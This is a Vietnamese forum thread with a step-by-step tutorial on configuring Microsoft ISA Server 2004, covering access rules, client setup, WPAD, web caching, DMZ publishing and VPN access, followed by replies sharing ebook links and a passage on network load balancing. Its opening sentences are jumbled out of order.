. Khi quá trình cài đặt ISA Server 2004 hoàn tất.Publishing Rule: dùng để cung cấp các dịch vụ như Web Server.Access Rule: là tập hợp các quy tắc truy cập Internet hay email.. System policy được xử lý trước khi access rule được áp dụng. Sau khi cài đặt các system policy mặc định cho phép ISA Server sử dụng các dịch vụ hệ thống như DHCP. anh ta sẽ bị từ chối truy cập vì access rule đầu tiên không cho phép sử dụng giao thức này. .Next trong các bước tiếp theo để hoàn tất quá trình cài đặt. Kết Nối ISA Server Với Internet Và Cấu Hình Các ISA Client ISA Server 2004 Firewall có 3 dạng chính sách bảo mật: system policy. chúng ta kết nối ISA Server với Internet và cấu hình các ISA client để có thể truy cập Internet thông qua ISA Server Firewall.. Cần đặc biệt lưu ý đến thứ tự các access rule vì luồng xử lý của firewall sẽ chấm dứt khi nó gặp policy "chặn" lại.msp (có thể tải về từ website www. Deny HTTP (không cho phép sử dụng HTTP protocol) 2. Deny FTP (không cho phép sử dụng FTP) 5. access rule và publishing rule. Mail Server trên lớp mạng Internal hay DMZ cho phép các người dùng trên Internet truy cập. Nhưng nếu người dùng đó tải về tập tin thông qua FTP thì anh ta sẽ được phép vì access rule thứ 3 cho phép dùng FTP. RDP. Đối với phiên bản Standard chúng ta nên cài bản vá SP1 ISA2004-KB891024X86-ENU. Ping. RDP. Mặc định ISA Server chỉ có một access rule sau khi cài . .org/downloads/software) để bảo đảm hệ thống hoạt động ổn định.microsoft.System policy thường ẩn và được dùng cho việc tương tác giữa firewall và các dịch vụ mạng khác như ICMP.com hay www. Deny All (default policy) Trong trường hợp chúng ta cho rằng đối tượng sử dụng là như nhau. Allow HTTP (cho dùng HTTP protocol) 3.. thì khi một người dùng sử dụng giao thức HTTP để duyệt web.security365. và firewall sẽ bỏ qua các access rule còn lại. Allow FTP (cho phép sử dụng FTP) 4. chúng ta xem ví dụ có 5 access rule với thứ tự như sau: 1. Để hiểu rõ cơ chế này..

Enable VPN Server. Firewall Policy.Khung bên phải còn được gọi là Tasks Pane chứa các tác vụ đặc biệt như Publishing Server.. ở trường hợp này các client là những người sử dụng trong hệ thống mạng nội bộ cho nên chúng ta chọn Add trên Access Rule Source và chọn Internal. Đặt tên cho access rule cần tạo là Permit any traffic from internal network hoặc tên phù hợp với hệ thống của bạn và chọn Next. ISA Server Management console 1. Cache. Administrator. Đối với User thì chúng ta chọn All User (trong trường hợp cần thiết bạn có thể xác định những Group hay User thích hợp của hệ thống như Group Domain User. vì vậy chúng ta cần tạo các quy tắc thích hợp với nhu cầu tổ chức hoặc áp dụng các quy tắc mẫu (Predefine Template) cho ISA Server. Monitoring... Nhấn phải vào Firewall Policy và chọn Create New Access Rule hoặc chọn từ khung tác vụ (Task Pane) của màn hình quản lý.Khung ở giữa hiển thị chi tiết các thành phần chính mà chúng ta chọn như System Policy. Bạn có thể cấu hình ISA Firewall Policy thông qua giao diện ISA Management Console trên chính ISA Server hoặc cài công cụ quản lý ISA Management Console trên một máy khác và kết nối đến ISA Server để thực hiện các thao tác quản trị từ xa. Access Rule.. Trong phần Rule Action chúng ta chọn Allow. 2...đặt là Deny All.. Maika 03-21-2007. .. Trong cửa sổ Protocols. Cấu hình ISA Client: . Giao diện quản lý của ISA Server Management console có 3 phần chính: . Hệ thống cần biết đối tượng sử dụng các giao thức trong access rule.Khung bên trái để duyệt các chức năng chính như Server name. nếu muốn thay đổi bạn chỉ cần chọn trong danh sách như Selected Protocol để chọn một số giao thức nào đó hay All inbound trafic cho trường hợp cung cấp các kết nối từ bên ngoài vào.>All Programs ..> ISA Server Management. hãy chọn All outbond trafic.Tạo Access Rule Trên ISA Mở giao diện quản lý ISA Management Server bằng cách chọn Start . ..> Microsoft ISA Server . 09:54 AM Xác định những giao thức mà người dùng được sử dụng như HTTP hay FTP. từ chối mọi truy cập vào/ra thông qua ISA firewall.. vì đây là access rule cho phép client sử dụng các giao thức và ứng dụng thông qua firewall. khi Firewall không thuộc Domain thì hãy sử dụng local account của Firewall trong Local Users And Groups).

Nếu không muốn cài đặt Firewall Client Installation Share trên từng máy client thì chúng ta có thể chọn cài dịch vụ này trên bất kỳ máy tính nào như file server hoặc domain controller như sau: chọn Setup Type loại Custom và chọn This feature. Trong trường hợp hệ thống có nhiều máy trạm. ví dụ người dùng phải đăng nhập domain mới truy cập được Internet thì phải làm như thế nào? Giải pháp đưa ra là chúng ta sẽ cài đặt Firewall Client cho các máy tính này. Tuy nhiên có một bất lợi là các SecureNAT client không gởi được những thông tin chứng thực gồm username và password cho firewall được. bạn có thể tận dụng được những khả năng mạnh nhất của ISA Server như chứng thực người dùng .1.> Run và chạy lệnh \\192.10). Với Firewall Client. will be installed on the local hard drive trong mục Firewall Client Installation Share. Firewall Client. Web Proxy Client hoặc cả 3 dạng trên. việc cài đặt trên từng máy gặp nhiều khó khăn thì giải pháp triển khai chương trình một cách tự động bằng SMS Server 2003 hoặc Assign thông qua Group Policy là hiệu quả nhất (bạn có thể tham khảo phương pháp cài đặt tự động thông qua Group Policy trên website www.168. các máy tính chỉ cần cấu hình Default Gateway là địa chỉ card mạng trong của ISA Server là được (trong trường hợp này là 192. sau đó trên ISA Server mở system policy cho phép truy cập tài nguyên chia sẻ và máy tính client chỉ cần kết nối đến ISA Server theo địa chỉ IP nội bộ với tài khoản hợp lệ để tiến hành chạy tập tin cài đặt Firewall Client. vì vậy nếu như bạn triển khai dịch vụ kiểm soát truy cập theo domain user đòi hỏi phải có username và password thì các SecureNAT client không ứng dụng được. Unix mà vẫn sử dụng được các giao thức và ứng dụng trên Internet thông qua ISA.1. Thông thường khi cài đặt ISA Server bạn sẽ cài dịch vụ Firewall Client Installation Share. và có thể sử dụng các hệ điều hành không thuộc Microsoft như Linux. Sau đó trên các máy tính client tiến hành cài đặt Firewall Client bằng cách mở Start . * SecureNAT Client: Đây là phương pháp đơn giản nhất. Điểm thuận lợi của phương pháp này là client không cần cài đặt gì thêm.org).security365.Để sử dụng ISA Server thì các client trên mạng phải cấu hình một trong ba loại sau: SecureNAT. Ngoài ra chúng ta không thể ghi nhật ký quá trình truy cập đối với dạng client này. and all subfeatures.168.10\mspclnt\setup. hoặc chúng ta có thể cấp phát thông qua DHCP server với option 006 dành cho Router. Cấu hình SecureNAT client * Firewall Client: Vậy nếu chúng ta muốn có một cơ chế kiểm soát chặt chẽ hơn.

cho phép ghi nhật ký những lần truy cập. Ở cửa sổ Rule Action hãy chọn Deny và nhấn Next.4. Như vậy cách nhanh nhất cho phép các máy tính trong mạng có thể truy cập Internet qua ISA Server là cấu hình SecureNAT client dựa trên hệ thống cấp phát địa chỉ IP động hoặc cấu hình IP tĩnh và trỏ default gateway là địa chỉ mạng nội bộ của ISA Server. Tuy nhiên. chọn Tools . cho phép tải tập tin thông qua FTP. Nhấn Add. Trong phần This rule applies to chọn Selected Protocols. điều này có nghĩa là người dùng sẽ không thể truy cập email với Outlook hay sử dụng các ứng dụng khác. các máy tính client phải cấu hình trong trình duyệt web bằng cách mở Internet Explore. Web Proxy Client chỉ sử dụng được các giao thức HTTP/HTTPS.> Internet Options. Tiếp theo chúng ta chọn Internal và External trong phần Network. * Web Proxy Client: Như chúng ta biết. Thiết Lập Các Private Policy Mặc dù hệ thống đã kết nối được Internet.. Tạo access rule cho phép client sử dụng FTP tải về và tải lên .191. Nhấn Close.162. FTP. giao thức HTTP được cho phép sử dụng nhưng cấm không cho tải những tập tin có thể thực thi trên hệ thống Windows qua HTTP để ngăn ngừa sự lây nhiễm virus. để phục vụ nhu cầu duyệt web. Tạo access rule không cho phép sử dụng AOL và MSN Mesenger Nhấn chuột phải Firewall Policy. áp dụng cho All user và Apply để áp dụng policy này cho hệ thống. chọn tab Connections . Sau đó mở Protocols của Instant Messaging và nhấn đúp AOL Instant Messenger và MSN Messenger. 2.. nhưng một số công ty có những yêu cầu riêng về chính sách hệ thống như không cho phép chat bằng AOL hay MSN Messenger. Bên cạnh đó. Để thực hiện điều này. chọn Create new Access Rule và đặt tên là deny MSN and AIM.10 hay 203.31. Để sử dụng Web Proxy. Tuy nhiên điểm bất lợi chính của trường hợp này là các máy tính muốn cài Firewall Client phải sử dụng hệ điều hành Windows. 1. bạn cần phải hiệu chỉnh lại firewall policy của mình.> LAN Settings và nhập vào địa chỉ của Proxy server.dựa trên Domain User và Group. Ngoài ra để quá trình phân giải địa chỉ IP diễn ra suôn sẻ thì các client cần cấu hình địa chỉ DNS server nội bộ và cả ISP DNS Server như 210.245. ngoài chức năng bảo mật thì ISA Server 2004 Firewall còn có chức năng Cache dùng để lưu trữ các trang web thường được truy cập trên RAM hoặc trên đĩa cứng nhằm tiết kiệm băng thông. nhấn Next.

2. trong phần Network hãy nhấn đúp vào Internal Network. Tạo access rule mới tên là permit HTTP deny executables cho phép người dùng trên lớp mạng Internal sử dụng HTTP protocol.ORG trong ô Full qualified domain name.SECURITY365. 1. Lưu ý: Việc cấu hình WPAD trên DHCP chỉ sử dụng được nếu DHCP Server là dịch vụ của HĐH Windows. còn khi sử dụng DHCP Server của các hãng khác thì chúng ta phải sử dụng DNS để làm điều này. trong ô Use this port for automatic discovery request hãy nhập vào số 80. Sau khi nhấn Apply thì User trên hệ thống mạng nội bộ đã có thể tải về thông qua FTP bằng các chương trình FTP Client như FileZilla. Tuy nhiên để họ có thể tải lên các FTP server thì chúng ta cần bỏ thiết lập Read Only cho FTP access rule bằng cách nhấn phải chuột vào Access Rule permit FTP và chọn Configure FTP.Trong trường hợp bạn muốn phép người dùng sử dụng FTP để tải về (download) và cả tải lên (upload) hãy tiến hành như sau: Tạo access rule mới thông qua Create a New Access Rule. Đánh dấu chọn vào ô Block responses containing Windows executable content như hình sau: Sử Dụng WPAD Hỗ Trợ ISA Client Tự Động Dò Tìm Firewall Và Web Proxy Khi hệ thống sử dụng DHCP cấp phát địa chỉ IP động. Nhập vào WPAD trong phần Alias name và tên đầy đủ ví dụ WPAD. Tạo access rule cho phép sử dụng HTTP nhưng không cho phép tải về những file có khả năng thực thi trên hệ thống Windows. áp dụng cho All User và Internal Network. chúng ta cần phải hỗ trợ các client tự động dò tìm Web Proxy Server và Firewall thông qua CNAME WPAD record trên DNS Server hoặc cấu hình option Predefine là wpad trên DHCP server (tham khảo file demo http://www. đặt tên là permit FTP với Rule Action là Allow. Hãy mở ISA Management Console. Trước tiên chúng ta cần phải bật chức năng hỗ trợ Auto Discovery trên ISA Server. Trong cửa sổ Configure FTP protocol policy bỏ chọn Read Only sẽ cho phép upload lên Ftp server.security365. 3. chọn tab AutoDiscovery và đánh dấu chọn mục Publish automatic discovery information. .rar).org/downloads/demo/ISA2004. Tạo CNAME record trong DNS server đặt tên là WPAD: Mở cửa sổ DNS Management Console. nhấn chuột phải lên Domain Zone và chọn New Alias (CNAME). Nhấn phải chuột vào permit HTTP deny executables và chọn configure HTTP.

09:55 AM Nhấn Apply để hiệu lực firewall policy mới tạo. Có thể ngăn chặn điều này bằng cách hiệu chỉnh permit HTTP policy như sau: Nhấn chuột phải permit HTTP Access Rule và chọn Configure HTTP. reserver caching tiết kiệm băng thông bằng cách lưu trữ nội dung trang web trên các proxy server để đáp ứng. Hãy sử dụng bất kỳ Firewall Client hay Web Proxy Client nào kiểm tra lại. sau khoảng thời gian ngắn tên ISA Server trên hệ thống của bạn sẽ xuất hiện Như vậy chúng ta đã cài đặt và cấu hình ISA Server để hỗ trợ quá trình truy cập Internet. Chọn Detect Now. hỗ trợ tự động dò tìm Firewall và Web Proxy đối với client với record WPAD trong DNS Server. Chọn Automatically detect ISA Server trong firewall client và bỏ chọn Use proxy server. lưu ý Default Rule không thể xoá được) và Permit Any Traffic from internal network cho phép người dùng trong mạng nội bộ được phép sử dụng tất cả các giao thức trên Internet. tải về và tải lên tài liệu thông qua FTP. Vì vậy trên một số tài liệu . bạn nhận thấy rằng một số client vẫn chat được bằng MSN Messenger hay sử dụng các chương trình P2P để tìm kiếm tài liệu. Với ISA chúng ta có thể thực hiện hai cơ chế caching: . giảm tải cho web server.Nhấn OK để hoàn tất. Tuy nhiên.Reverse caching: ngược lại với forward caching.Forward caching: với cơ chế này nội dung các trang web thường xuyên được truy cập sẽ được tải về trước và lưu trữ trong phần cache của ISA server. . Tiết Kiệm Băng Thông Với Tính Năng Cache Và Content Download Job Có một đặc tính rất hữu ích của ISA Server tuy nhiên mặc định bị cấm đó là web caching đối với http và ftp request. vì vậy khi người dùng mở lại những trang web này sẽ được trả nội dung trên cache thay vì phải kết nối trực tiếp với web server trên Internet. thay vào đó là Automatically detec settings trong trình duyệt web để tự động dò tìm Web Proxy. sau đó nhấn Apply để áp dụng cho hệ thống. lúc này chúng ta đã có 2 acess rule là Default Rule (có chức năng Deny All. port 80 để truyền thông qua web proxy server. Đó là do những ứng dụng này có thể sử dụng HTTP. Trong tab Signature nhập vào các tham số như hình dưới đây và nhấn OK. khi doanh nghiệp hay tổ chức có những web server cho phép người dùng bên ngoài truy cập. Maika 03-21-2007.

. chúng ta có thể lập lịch để dịch vụ Web Proxy Server tải về trước ngoài giờ làm việc thông qua chức năng Content Download Job.Hierarchical caching: khác với mô hình trên. hãy chọn Save the changes and restart the services và nhấn OK.reverse cache còn được gọi là gateway cache. và người dùng khi truy cập vào lại trang web này sẽ được trả về nội dung từ cache chứ không phải tải về từ Internet. 1. . Ngoài ra một số trang web thường xuyên được người dùng truy cập để đọc tin.Distributed Caching: các ISA Server sẽ được phân bố đều trên mạng. chọn mục Cache trong phần Configuration và nhấn chuột vào Define Cache Drivers (enable caching). các yêu cầu sẽ được xử lý bởi những ISA Server nội bộ trước.com. tham khảo giá cả thị trường. vì vậy thời gian đáp ứng cao hơn. . Vậy. khi chức năng Web Cache được bật. những trang web thường xuyên truy cập sẽ tự động tải về có thể được lưu giữ trên RAM hay đĩa cứng của ISA Server (cache). tin tức về bảo mật. . Xác định phần chia NTFS dành cho việc lưu trữ nội dung các trang web (cache size). nâng cao khả năng đáp ứng cho người dùng. Sau khi nhấn Apply để áp dụng chức năng Web Cache sẽ có một hộp thoại thông báo Restart lại Firewall Services hay chỉ lưu lại và không Restart.Hybrid caching: là sự kết hợp cả hai mô hình trên. vì vậy khi thiết lập Web Caching các bạn nên đặt Caching Rule để không lưu giữ những trang Web như www.google. trong trường hợp này ISA Server sẽ được phân bố theo từng cấp. . Enable Web Caching: Mở ISA Management Console. nhấn Set để thiết lập và nhấn OK.. Tuy nhiên một số trang web tìm kiếm thì không nên lưu trữ nội dung trên cache vì sẽ cho ra những kết quả tìm kiếm không được cập nhật. ví dụ 20 MB. Về mặt tổ chức thì chúng ta có thể xây dựng hệ thống cache trên ISA theo các mô hình khác nhau tùy thuộc vào số lượng người dùng và kiến trúc mạng của mỗi doanh nghiệp.

Chọn Yes và sau đó đặt tên cho Content Download Job là SecureSolution. Nhấn Content Download Job. chọn Schedule a Content Download Job.google.com: Trên khung Task Pane chọn Create a Cache Rule. Nhấn Next và nhập vào địa chỉ trang web cần tải về trong ô Download content from this URL. Chúng ta sẽ thấy thông báo như hình dưới đây. Nhấn Next để tiếp tục. Như vậy ISA Server 2004 của chúng ta đã được bật chức năng Web Caching để tiết kiệm băng thông. Lúc này chúng ta có thể kiểm tra lại policy mới được tạo ra trên giao diện quản lý và nhấn Apply để áp dụng. trên khung Tasks Pane. do đó chúng ta cấu hình ISA Server tự động tải về trang web này về trước vào ngày giờ xác định nào đó trong tuần để nâng cao hiệu quả hoạt động. sau đó nhấn Next và chọn Never. trong trường hợp này chúng ta nhập vào www.security365. no content will ever be cached. Nhấn OK để quay trở lại cửa sổ Add New Network Entities. Trong cache rule destination. Cấu hình Content Download Job: Giả sử người dùng trên hệ thống thường truy cập vào trang web www. 3. đồng thời ngăn ngừa việc lưu trữ nội dung của trang web tìm kiếm như Google. nhấn New và trên menu hiển thị hãy chọn URL Set. nhấn Next để tiếp tục xác định lịch chạy tiến trình.org. chúng ta cần xác định trang web không cần lưu trữ bằng cách chọn Add. trên màn hình tiếp theo hãy chấp nhận giá trị mặc định.org để xem các thông tin mới về virus hay các lỗi bảo mật.security365. Maika 03-21-2007.com. Tạo Cache Rule không lưu trữ nội dung các trang Web từ www. mở mục URL Sets và chọn Google. 09:56 AM Sao lưu và phục hồi thông tin cấu hình ISA Server 2004 Firewall . Đặt tên là No Google Cache trong khung New Cache Rule Wizard. nhập tên là Google sau đó chọn New và đưa vào địa chỉ http://www. Hãy chọn giá trị mặc định trong các bước tiếp theo để hoàn tất.google. Cuối cùng nhấn Finish để kết thúc quá trình thiết lập.2.

xác định tập tin sao lưu. chọn Restore và nhập vào password được thiết lập cho tập tin này. Vì vậy để bảo đảm hệ thống luôn hoạt động ổn định chúng ta cần phải tiến hành sao lưu (backup) các policy một cách đầy đủ để có thể phục hồi (restore) khi có sự cố xảy ra. Tiếp theo chúng ta đặt tên của tập tin sao lưu (nên đặt theo dạng X-XX-XXXX là ngày-tháng-năm backup để dễ phân biệt khi tiến hành phục hồi). 1. Chúng ta có thể sao lưu toàn bộ ISA Server hay chỉ một số các firewall policy nào đó. sau đó chọn Restore this ISA Server Configuration trên khung Tasks Pane. bạn có thể xoá một vài hay toàn bộ firewall policy trên hệ thống của mình. Thao tác sau đây sẽ tiến hành backup toàn bộ ISA Server. Mở ISA Management Console. các server đặt trong DMZ còn ngăn ngừa được sự tương tác trực tiếp giữa người dùng bên trong với người dùng bên ngoài. Tạo DMZ: . Một hộp thoại yêu cầu đặt password cho tập tin backup hiện ra. hãy nhập password rồi nhấn OK. Thiết Lập Vùng DMZ Và Publish Server Thông Qua ISA Một trong những thuật ngữ bảo mật được nhiều người quan tâm đó là DMZ (Demilitarized Zone). còn trong môi trường máy tính thì DMZ là vùng dành riêng cho những server "đối ngoại" (như web server) cho phép người dùng bên ngoài (Internet) truy cập đến. chọn server name (ISA) và nhấn vào Backup the ISA Server Configuration trên khung Tasks Pane. chọn nơi lưu trữ và nhấn nút Backup. trong mỗi bộ phận lại yêu cầu những chính sách truy cập riêng làm cho số lượng policy rất nhiều và khó quản lí. Sau khi tiến trình sao lưu hoàn tất. Để thử nghiệm. tuy nhiên ngày nay DMZ bao luôn cả tình huống người dùng bên trong kết nối đến firewall/router và sau đó yêu cầu sẽ được chuyển đến các server trong DMZ dựa trên Firewall Policy như trường hợp mà chúng ta áp dụng sau đây trên ISA Server để xây dựng một DMZ chứa mail và web server. Ngoài ra. Bởi vì DMZ được tách biệt hoàn toàn với hệ thống Internal. Theo đúng nghĩa truyền thống của DMZ. cho nên khi người dùng Internet truy cập vào các máy chủ này sẽ không ảnh hưởng và gây nguy hiểm đối với các máy tính và dữ liệu nội bộ. Trong trường hợp chỉ sao lưu một firewall policy nào đó chúng ta cũng tiến hành tương tự với chức năng Export Firewall Policy trên khung Task Pane.Đối với các hệ thống lớn với nhiều phòng ban và nhân viên. đây là từ chỉ vùng "Phi Quân Sự" trong thế giới thực. các request (yêu cầu truy cập) của người dùng bên trong đến các server "đối ngoại" phải qua DMZ trước rồi mới đến firewall nội bộ. Sau khi tiến trình phục hồi hoàn tất chúng ta có thể kiểm tra lại các policy trước đây của hệ thống đã được phục hồi đầy đủ.

trong trường hợp này người dùng ở bên ngoài Internet nên chúng ta chọn lớp mạng là External và nhấn Next. Vì vậy có thể chúng ta cần cho phép các yêu cầu về DNS từ Mail Server với Domain Controler (có cài tích hợp DNS) trong lớp mạng Internal hay với các ISP DNS. Cấu Hình Remote Access VPN Trên ISA Server Ngoài chức năng quản lý truy cập Internet. hãy chọn Add Adapter để lựa chọn card mạng cho vùng DMZ. Sau khi nhấn Apply để áp dụng cho hệ thống. trên khung Task Pane hãy nhấn vào Publish a Mail Server để hiển thị New Mail Server Publishing Rule Wizard. Chọn Next. Nhấn OK và địa chỉ mạng cho vùng DMZ sẽ xuất hiện như hình dưới (bạn có thể thay đổi theo yêu cầu hệ thống của mình). Publish Web/Mail server và . đây là một cải tiến của ISA Server 2004). tiếp theo chọn Next và Finish để hoàn tất.1. bạn có thể đặt Exchange Mail Server hay Apche Web Server trong lớp mạng này. Sau khi nhấn Next cửa sổ Network Address xuất hiện. ở đây là 172. đặt tên là DMZ và chọn Next.10 đặt trong DMZ.16. công ty có một Exchange Server có địa chỉ là 172. Publish Exchange Server trong DMZ: Lấy ví dụ. Cần lưu ý là để có thể truy cập email thì phải có thêm những protocol khác như DNS.1. NNTP. trên khung Select Services hãy đánh dấu chọn ô SMTP. Cuối cùng là xác định lớp mạng được phép kết nối với Mail Server. chọn Firewall Policy. Trong cửa sổ tiếp theo chúng ta nhập vào địa chỉ của Mail Server trong DMZ. POP hay RPC. trong phần Network chúng ta sẽ thấy một lớp mạng là DMZ tách biệt với hệ thống Internal. Đặt tên cho Publishing Rule này và chọn Next. Mở ISA Management Console.10. chọn Perimeter Nework (chúng ta có thể tạo bao nhiêu lớp mạng tùy ý không như trên ISA 2000 chỉ có 3 lớp. Để người dùng bên ngoài Internet có thể truy cập đến mail server để gởi và nhận mail chúng ta cần phải "publish" (cho phép truy cập từ Internet) chúng thông qua ISA Firewall của mình. 2. sau đó chọn Finish để hoàn tất quá trình publish mail server.16.Trong phần Network hãy chọn Create a New Network. Trong cửa sổ Select Server Type chúng ta chọn Server-to-server Communications: SMTP.

Nhấn Next và chọn Allow. chọn New . xác nhận thêm một lần nữa và khởi động lại máy tính. trên cửa sổ tiếp theo chọn All outbound trafic. sau đó chọn Verify that VPN Client Access is Enable.> Administrative Tools . Hãy đăng nhập vào Domain Controler của hệ thống và chọn Start . có hai cách là sử dụng DHCP để cấp phát IP động cho các client hoặc dùng một static pool để gán IP cho chúng như sau: Trên khung Tasks Pane nhấn vào mục Define Address Assignment. nhấn Add và chọn group VPN User chúng ta đã tạo. Thêm những user thuộc bộ phận kinh doanh (những người cần truy cập qua VPN ) vào VPN Group. chọn Static address pool và nhập vào dãy địa chỉ sau: Nhấn OK. Việc tiếp theo cần làm để cho phép VPN client kết nối là cấu hình địa chỉ IP cho các VPN client. Ngược lại ở khung destination hãy chọn Internal trong phần Network. Mở ISA Management Console chọn mục Virtual Private Network (VPN). Để các VPN client có thể kết nối thành công hãy tạo group VPN trên domain controler và gán quyền Allow access cho thuộc tính Dial-in đối với những user thuộc group VPN. Hãy trở lại màn hình quản lý ISA Server trên ISA1 mà chúng ta đang mở và chọn Specify Windows Users trên danh sách VPN Client. ví dụ Joe Franks. Sau đây là các bước cấu hình Remote Access VPN trên ISA 2004. Do access rule cho phép VPN client truy cập tài nguyên nội bộ nên hãy xác định source trafic là VPN Clients trong phần Network. Trên thanh thuộc tính của Joe Franks chọn tab Dial-in và đánh dấu chọn Allow access. chúng ta có thể dùng ISA Server làm VPN Server cung cấp các kết nối remote access cho người dùng bên trong để có thể truy cập tài nguyên trên mạng nội bộ. Cuối cùng. Nhấn chuột phải trên User container. Đánh dấu chọn Enable VPN client access và đặt giá trị Maximum number of VPN clients allowed bằng 9 (số lượng VPN client tối đa có thể kết nối cùng lúc) rồi nhấn OK và Apply chính sách mới cho firewall. và chọn các giá trị mặc . Hãy chọn Firewall Policy và chọn Create New Access Rule đặt tên là VPN Client full access to Internal. chạy những chương trình quản lý khách hàng hay cập nhật các báo cáo.Caching. Ví dụ công ty có một số nhân viên kinh doanh sử dụng máy tính xách tay và họ cần truy cập vào hệ thống mạng LAN thông qua VPN Server để kiểm tra mail.> Group. hãy tạo access rule cho phép các VPN client có thể truy cập đến các tài nguyên nội bộ sau khi kết nối thành công đến VPN server.> Active Directory Users and Computers.

10:13 PM bản đầy đủ 16 chương: http://rapidshare.rar Hiện đã có phiên bản thử nghiệm ISA Server 2006. Nhưng mà cái này là của Nis.Network Load Balancing .giaiphapmang.net/doc/ISA%20Server%20Firewall%202004.mspx. S. MCSA. 08:17 AM Đây là bản cóp nhặt trên Nis.T pete4r 03-26-2007.vn chỉ có 10 chương đầu các chương quan trọng còn lại không có đề nghị post nốt các chương kia lên. GIỚI THIỆU EBOOKS.pdf http://www. NETWORK NLB . 08:19 AM :p Cac bac cho em hoi sao chi co 10 chuong nhi? Con 6 chuong thi ??? :o ---> Vì trên nis.định cho những bước tiếp theo để hoàn tất.php?t-4. bạn có thể tải về tại http://www.microsoft. Bây giờ ISA Server đã sẵn sàng cho các kết nối VPN.pdf lucifer4473 05-19-2007. Bạn có thể tham khảo file trình diễn cài đặt ISA Server tải về tại http://www.com.net vào vi phạm bản quyền quá đi lucifer4473 05-19-2007.html Được đăng bởi haodalat tại 11:00 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT.com.vn nó chỉ đăng có 10 chương thôi ai muốn đấy đủ phải đóng 300k cơ.net/forum/archive/index.ictvietnam.security365.com/isaserver/2006/beta. 08:06 PM Link này mới đúng này : http://www. bạn chỉ cần tạo các VPN Connection đến địa chỉ Outside của firewall và thực hiện kết nối và truy cập vào tài nguyên hệ thống nội bộ. Thanks! sonnv 08-22-2007.vn sao các bác bác lại đóng dấu giaiphapmang. 12:07 PM Như vậy là hay rùi.com/files/50576118/Trien_khai_ISA_Server_Firewall_2004_7 0-730_.com. Hiện nay 1 bộ sách của nó có giá 1tr gồm đầy đủ sách và đĩa tiếng việt về MCSA bao gồm tất cả video demo a em nào có chí học nhưng lại hơi hẻo về money chúng ta liên kết lại mua 1 bộ rồi cùng học:) hai_duong 06-28-2007.org/downloads/demo/ISA2004.

với rất nhiều tính nǎng phong phú. RRDNS sẽ vẫn tiếp tục gửi tải cho server đó cho đến khi người quản trị mạng phát hiện ra lỗi và tách server này ra khỏi danh sách địa chỉ DNS. kỹ thuật cân bằng tải hiện nay nhờ sự kết hợp các thuật toán trên ngày càng trở nên hoàn thiện mặc dù nhược điểm vốn có như tạo điểm lỗi đơn và vấn đề nút cổ chai do sử dụng bộ điều phối tập trung (centralized dispatcher) vẫn còn. Nhờ sử dụng việc phân phối tải này. có rất nhiều client và thời gian mà các yêu cầu của client tồn tại tương đối ngắn. các host khác sẽ điều chỉnh và tái phân phối lại tải để duy trì liên tục các dịch vụ cho các client. khả nǎng của kỹ thuật này nhằm phân phối tải thông qua ánh xạ thống kê sẽ giúp cân bằng một cách hiệu quả các tải và cung cấp khả nǎng đáp ứng nhanh khi nhóm server có thay đổi. Coyote Point. Đối với các ứng dụng như Web server. từ các thuật toán cân bằng tải tĩnh như Round Robin. Việc lựa chọn một server đơn lẻ có cấu hình cực mạnh để đáp ứng nhu cầu này sẽ kéo theo chi phí đầu tư rất lớn. Có rất nhiều hãng đưa ra giải pháp cân bằng tải như Cisco. Sau những phát triển. Weighted Round Robin đến các thuật toán cân bằng tải động như Least Connection. Điều này sẽ gây ra sự đứt quãng dịch vụ. phần mềm client thường tự động kết nối lại và người sử dụng chỉ cảm thấy trễ một vài giây khi nhận được đáp ứng trả lời. Sự cân bằng tải này có thể điều chỉnh động khi các host tham gia vào hoặc rời khỏi nhóm. nguyên tắc cân bằng tải vẫn xuất phát từ những quan điểm kỹ thuật khá tương đồng. Tuy nhiên. khi nhu cầu truy nhập mạng bùng nổ.Hiện nay. Weighted Least Connection. nếu một server trong nhóm bị lỗi. Optimized Weighted Round Robin và Optimized Weighted Least Connection. Sun Microsystems. Các server trong nhóm cân bằng tải phát đi một bản tin đặc biệt thông báo trạng thái hoạt động của nó (gọi là heartbeat message) tới các host khác trong nhóm đồng thời nghe bản tin này từ các khác host khác. Tải do các client gửi đến được phân phối sao cho mỗi server nhận được số lượng các yêu cầu theo đúng phần tải đã định của nó. Hoạt động của NLB Mỗi host trong nhóm có thể định ra mức tải mà nó sẽ xử lý hoặc tải có thể phân phối một cách đồng đều giữa các host.Giải pháp cân bằng tải. Nếu một server trong nhóm gặp trục trặc. mỗi server sẽ lựa chọn và xử lý một phần tải của host.. Một kỹ thuật cân bằng tải điển hình là RRDNS (Round Robin DNS). về cơ bản. Phân phối lưu lượng trong nhóm . Trong phần lớn các trường hợp. Với giải pháp này. Giải pháp hiệu quả được đưa ra là sử dụng một nhóm server cùng thực hiện một chức nǎng dưới sự điều khiển của một công cụ phân phối tải .. các server cung cấp dịch vụ đang trở nên quá tải.

Để đảm bảo tính duy nhất. Trình điều khiển cân bằng tải sẽ tự động sửa địa chỉ MAC của card nhóm bằng cách thiết lập một thực thể đǎng ký và tái nạp trình điều khiển card nhóm. Để tránh điều này.200. NLB sẽ gán địa chỉ MAC giống nhau cho tất cả các host trong nhóm. mặt nạ địa chỉ MAC nguồn của NLB trong chế độ unicast có thể được vô hiệu hoá để tránh gây ra hiện tượng tràn cho các thiết bị chuyển mạch ở đường lên (upstream). chế độ multicast.NLB sử dụng hai lớp broadcast hoặc multicast để phân phối đồng thời lưu lượng mạng đến tất cả các host trong nhóm. Do mỗi host trong nhóm có một địa chỉ trạm làm việc duy nhất. địa chỉ MAC của nhóm là 02-BF-0A-C8-C8-0A được chuyển thành 02-h-0A-C8C8-0A. địa chỉ MAC được dẫn xuất từ địa chỉ IP chính của nhóm. chế độ này không cần một bộ card mạng thứ hai để trao đổi thông tin giữa các host trong nhóm và nó cũng không có bất cứ ảnh hưởng nào đến hiệu nǎng của toàn hệ thống do việc sử dụng các địa chỉ IP dành riêng. Chế độ này gán địa chỉ multicast 2 lớp cho card nhóm thay vì thay đổi địa chỉ trạm làm việc của card. .200. + Unicast.200. Nếu các host trong nhóm được kết nối trực tiếp vào một hub.10. Hệ điều hành không cần phải khởi động lại. Việc sử dụng hệ thống chuyển mạch đường lên ba mức cũng có thể hạn chế tràn cho các thiết bị chuyển mạch. Nếu các host trong cluster được gắn vào một thiết bị chuyển mạch (swicth) chứ không phải một bộ tập trung (hub). + Multicast: NLB cung cấp chế độ thứ hai để phân phối lưu lượng mạng đến các host trong nhóm. Điều này có thể thực hiện bằng cách thiết lập tham số đǎng ký NLB là MaskSourceMAC=0.200. việc sử dụng chung một địa chỉ MAC sẽ gây 